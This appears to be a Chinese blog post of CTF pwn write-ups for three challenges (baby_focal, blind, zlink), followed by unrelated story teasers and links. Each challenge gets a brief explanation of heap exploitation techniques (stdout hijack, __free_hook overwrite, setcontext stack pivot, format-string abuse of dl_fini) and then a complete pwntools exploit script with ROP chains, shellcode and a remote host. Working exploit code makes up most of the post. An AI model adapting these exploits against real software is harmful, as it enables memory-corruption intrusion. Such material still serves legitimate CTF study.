mt-ctf

baby_focal

堆溢出,没开pie,没有show,劫持stdout来泄露地址,然后劫持数组指针造成任意地址写原语,开了沙盒,版本是2.31,因此劫持free_hook为控制rbp的gadget来进行栈迁移(不知道为什么tls远程走不通)
爆破1/16

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = Cnitlrt
import sys
import os
from pwn import *
context.log_level = 'debug'

binary = 'baby_focal'
elf = ELF('baby_focal')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  #p = process(["qemu-aarch64","-L","",binary])
  #p = process(["qemu-aarch64","-L","",-g,"1234",binary])
else:
  host = "115.28.187.226"
  port =  32435
  p = remote(host,port)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
sla("name: ","aaaa")
def cmd(idx):
    sla(">> ",str(idx))
def add(idx,size):
    cmd(1)
    sla("index >> ",str(idx))
    sla("size >> ",str(size))
def free(idx):
    cmd(3)
    sla("index >> ",str(idx))
def edit(idx,payload):
    cmd(2)
    sla("index >> ",str(idx))
    sa("content >> ",payload)
for i in range(7):
    add(0,0x68)
    free(0)
add(1,0x4f0)
add(2,0x18)
add(3,0x68)
free(1)
add(1,0x430)
add(4,0x68)
add(0,0x18)
free(4)
free(3)
edit(2,"a"*0x18+p64(0x71)+p8(0xa0)+'\n')
edit(0,"a"*0x18+p64(0x71)+p16(0x265d)+'\n')
add(3,0x68)
free(1)
add(4,0x60)
# gdb.attach(p)
add(1,0x61)
edit(1,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0)+'\n')
libc_base = l64()-libc.sym["_IO_2_1_stdin_"]
lg("libc_base",libc_base)
payload = "\x00"*0x28+p64(0x21)
payload = payload.ljust(0x48,"\x00")
payload += p64(0x71)
edit(4,payload+'\n')
edit(0,"a"*0x18+p64(0xc1)+'\n')
free(3)
payload = "\x00"*0x28+p64(0x21)
payload = payload.ljust(0x48,"\x00")
payload += p64(0x71)
payload += p64(0x404070)
free(0)
edit(4,payload+'\n')
add(3,0x60)
add(0,0x60)
payload = p64(0x404060)+p64(0x1000)
edit(0,payload+'\n')
addr = 0x1f3580+libc_base
gaget = 0x0000000000157d8a+libc_base
setcontext = libc_base+libc.sym["setcontext"]+61
syscall = 0x0000000000066229+libc_base
free_hook1 = libc_base+libc.sym["__free_hook"]
free_hook1 = free_hook1 & 0xfffffffffffff000
pop_rdi = libc_base+0x0000000000026b72
pop_rsi = libc_base+0x0000000000027529
pop2_rdx = libc_base+0x000000000011c371
pop_rax = libc_base+0x000000000004a550
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
frame = str(frame)
payload = p64(addr-0x58)+p64(0x1000)
payload += p64(0x4040b0)+p64(0x1000)
payload += p64(libc_base+libc.sym["__free_hook"])+p64(0x1000)
payload += p64(setcontext<<0x11)+p64(0)+p64(0)+p64(0x4040b0)
edit(2,payload +'\n')
leaver = 0x0000000000401419
pop_rbp = 0x0000000000032b58+libc_base
payload2 = [
    pop_rdi,
    0x404100,
    pop_rsi,
    0,
    pop2_rdx,
    0,
    0,
    pop_rax,
    2,
    syscall,
    pop_rdi,
    3,
    pop_rsi,
    free_hook1+0x200,
    pop2_rdx,
    0x200,
    0x200,
    pop_rax,
    0,
    syscall,
    pop_rdi,
    1,
    pop_rsi,
    free_hook1+0x200,
    pop2_rdx,
    0x100,
    0x100,
    pop_rax,
    1,
    syscall

]
payload = p64(0x4040b0+0x50)+p64(leaver)+p64(0x4040b0+0x50)+p64(0x4040b0-0x8)
payload += p64(leaver)
payload = payload.ljust(0x48,"a")
payload += p64(0x4040b0)
payload += "/flag\x00\x00\x00"
edit(1,payload+flat(payload2)+'\n')
edit(2,p64(gaget)+'\n')
free(1)
p.interactive()
# edit(1,frame+'\n')
# edit(1,"%11$p-%12$p-%13$p"+'\n')
# ru("0x")
# ru("0x")
# canary = int(ru("-")[:-1],16)
# lg("canary",canary)
# gdb.attach(p)
# payload = p64(0x404090)*2
# payload += '\x00'*0x70+p64(canary)+p64(0)
# edit(0,payload+'\n')
# # sc = shellcraft.open("flag")
# # sc += shellcraft.read("rax",free_hook1+0x200,0x100)
# # sc += shellcraft.write(1,free_hook1+0x200,0x100)
# # p.recv()
# # p.send("4")
# # sleep(0.01)
# # p.sendline(flat(payload).ljust(0x100,"a")+"/flag\x00\x00\x00")
blind

格式化字符串加栈溢出,跟进exit函数发现在dl_fini有一处函数调用


call qword ptr[r12+rdx*8] 其中rdx为0,r12首先通过rax来赋值然后通过add r12 qword ptr[rbx]来取值,可以看到rbx为栈上的值,因此我们可以通过格式化字符串劫持该地址,因为r12被rax赋值之后是bss上面的地址,因此我们只要合理控制好[rbx]就可以直接调用后门函数来栈溢出,可以栈溢出之后直接rop往read的got表里面写,将其劫持为one_gadget即可getshell爆破1/16

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = Cnitlrt
import sys
import os
from pwn import *
context.log_level = 'debug'

binary = 'blind'
elf = ELF('blind')
libc = elf.libc
context.binary = binary

DEBUG = 1
if DEBUG:
  p = process(binary)
  #p = process(["qemu-aarch64","-L","",binary])
  #p = process(["qemu-aarch64","-L","",-g,"1234",binary])
else:
  host = "115.28.187.226"
  port =  12435
  p = remote(host,port)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
payload = "%696c%26$hn\x00".ljust(0x10,"\x00")
payload += p64(0x400913)
# payload = p64(0x400913)
p.recv()
# gdb.attach(p,"b *(0x7ffff7de7df9)")
p.send(payload)
leaver = 0x00000000004008ad 
poprdi = 0x0000000000400a43
poprsi = 0x0000000000400a41
sleep(0.01)
payload = "a"*0x38+p64(poprdi)+p64(0)+p64(poprsi)+p64(elf.got["read"])*2+p64(elf.plt["read"])*2
p.send(payload)
sleep(0.1)
# attach(p)
p.send(p16(0x5247))
# p.shutdown("in")
p.interactive()
zlink

off by null,由于全局变量的限制,本题相当于没有show,远程版本是2.23,因此劫持stdout泄露地址,然后由于edit的时候会向fre_hook-0x18处写0x7f因此double free劫持free_hook为setcontext 而后orw一把梭
爆破1/16

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = Cnitlrt
import sys
import os
from pwn import *
context.log_level = 'debug'

binary = 'zlink'
elf = ELF('zlink')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  #p = process(["qemu-aarch64","-L","",binary])
  #p = process(["qemu-aarch64","-L","",-g,"1234",binary])
else:
  host = "115.28.187.226"
  port =  22435
  p = remote(host,port)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    sla(":",str(idx))
def add(size,payload,idx):
    cmd(1)
    sla("Index:",str(idx))
    sla("Heap : ",str(size))
    sa("tent?:",payload)
def free(idx):
    cmd(2)
    sla("Index:",str(idx))
def show(idx):
    cmd(5)
    sla("Index :",str(idx))
def edit(idx,payload):
    cmd(6)
    sla("Index:",str(idx))
    sa("tent?:",payload)
def add2():
    cmd(4)
cmd(4)
add(0x60,"aaa",0)
free(15)
add(0x60,'aaaa',1)
free(14)
add(0x20,"aaa",2)
add(0x60,"aaa",3)
add(0x60,"aaa",4)
add(0x60,"aaa",5)
add(0x70,"aaa",6)
add(0x70,"aaa",7)
add(0x70,"aaa",8)
add(0x70,"aaa",9)
add(0x70,"aaa",10)
add(0x30,"aaa",11)
cmd(4)
free(11)
add(0x38,"a",11)
edit(11,"a"*0x30+p64(0x470))
free(14)
free(6)
free(7) 
free(8)
free(9)
free(10)
add(0x50,"aaa",6)
add(0x60,p16(0x25dd),7)#1
add(0x60,p16(0x25dd),8)#4
add(0x60,p16(0x25dd),9)#5
"""
0x5555557560a0: 0x0000555555757620  0x0000555555757110
0x5555557560b0: 0x0000555555757010  0x0000555555757040
0x5555557560c0: 0x0000555555757180  0x00005555557571f0
0x5555557560d0: 0x00005555557570b0  0x0000555555757110
0x5555557560e0: 0x0000555555757180  0x00005555557571f0
"""
free(1)
free(4)
free(7)
add(0x60,p8(0xe0),1)
add(0x60,p8(0xe0),4)
add(0x60,p8(0xe0),7)
free(6)
add(0x60,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0),6)
free(2)
add(0x60,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0x88),2)
libc_base = l64()-libc.sym["_IO_2_1_stdin_"]
lg("libc_base",libc_base)
free(1)
free(0)
free(7)
addr = libc_base+libc.sym["setcontext"]
add(0x60,p64(libc_base+libc.sym["__free_hook"]-0x18),1)
add(0x60,p64(libc_base+libc.sym["__free_hook"]-0x18),0)
free_hook = libc.symbols["__free_hook"]+libc_base
free_hook1 = libc.sym["__free_hook"]+libc_base&0xfffffffffffff000
pop_rdi = 0x0000000000021112 + libc_base
pop_rsi = libc_base + 0x00000000000202f8
pop_rdx = libc_base + 0x0000000000001b92
pop_rax = libc_base + 0x000000000003a738
syscall = libc_base + 0x00000000000bc3f5
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
frame = str(frame)
print len(frame)
add(0x60,frame[:0x60],7)
free(4)
add(0x60,frame[0x70:0xd0],4)
free(7)
add(0x68,frame[:0x60],13)
add(0x60,p64(addr+53)*3,12)
free(13)
payload = [
    pop_rdi,
    free_hook1,
    pop_rsi,
    0x2000,
    pop_rdx,
    0x7,
    pop_rax,
    10,
    syscall,
    free_hook1+0x70
]
sc = shellcraft.open("/flag")
sc += shellcraft.read("rax",free_hook1+0x200,0x100)
sc += shellcraft.write("1",free_hook1+0x200,0x100)
p.sendline(flat(payload).ljust(0x70,'\x90')+asm(sc))
# gdb.attach(p)
# edit(5,p8(0x00))
p.interactive()
# show(1)
# libc_base = l64()-libc.sym["__malloc_hook"]-0x10-88-0x400
# lg("libc_base",libc_base)
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,744评论 6 502
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,505评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,105评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,242评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,269评论 6 389
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,215评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,096评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,939评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,354评论 1 311
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,573评论 2 333
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,745评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,448评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,048评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,683评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,838评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,776评论 2 369
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,652评论 2 354

推荐阅读更多精彩内容

  • 0x00 前言 Pwn弱鸡,比赛划水,只好跟着大佬的博客刷刷一些题目才能维持尊严,在刷题目的时候又发现了一些新姿势...
    Fish_o0O阅读 1,537评论 0 6
  • 学习中级ROP:__libc_csu_init 函数实现对libc的初始化操作,在 libc_csu_init 中...
    小白King阅读 1,176评论 0 1
  • zerotask ​ 拿到题目首先运行下,IDA打开分析main函数,可以看到有创建进程和删除进程的操作,一般...
    Nevv阅读 1,082评论 0 1
  • 表情是什么,我认为表情就是表现出来的情绪。表情可以传达很多信息。高兴了当然就笑了,难过就哭了。两者是相互影响密不可...
    Persistenc_6aea阅读 124,981评论 2 7
  • 16宿命:用概率思维提高你的胜算 以前的我是风险厌恶者,不喜欢去冒险,但是人生放弃了冒险,也就放弃了无数的可能。 ...
    yichen大刀阅读 6,046评论 0 4